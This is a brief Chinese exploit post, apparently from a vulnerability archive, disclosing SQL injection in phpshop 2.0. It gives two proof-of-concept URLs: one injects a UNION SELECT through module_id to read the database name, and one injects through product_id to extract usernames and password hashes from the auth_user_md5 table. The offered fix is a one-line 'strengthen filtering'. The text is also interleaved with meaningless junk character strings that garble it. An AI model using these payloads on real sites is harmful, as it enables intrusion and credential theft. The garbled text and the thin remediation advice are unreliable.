phpshop 2.0 SQL注入及修复

admin

标题 : phpshop 2.0 SQL Injection Vulnerability

* B' Z: n2 s! E6 P* Q. k作者 : By onestree
下载地址 : http://code.google.com/p/phpshop/downloads/list
3 |; R' }4 ?! l测试地址: windows 7 / ubuntu

; v1 E& A8 B& K( _0 q0 B6 U
, O" t* F$ ~0 C# ~SQLi p0c:

$ X0 V* J9 z/ L8 Q6 J==================
/ n# c5 v. s+ I0 i: x
% U- U' w' w4 I0 V; fhttp://www.xxx.com /phpshop 2.0/?page=admin/function_list&module_id=11'
- O. j3 F& x, M9 munion select 1,database(),1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 --

http://localhost/phpshop 2.0/?page=shop/flypage&product_id=1087'/**/union/**/select/**/1,1,1,1,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,username/**/from/**/auth_user_md5--
# {# q7 b1 Z. M: a9 y
! R: t) C0 o/ k/ k6 m修复：
  q" I3 M6 e7 H$ m  [5 @* g8 ~( F加强过滤
​

9 S/ Z# V, B! U: Q, a2 e, s7 U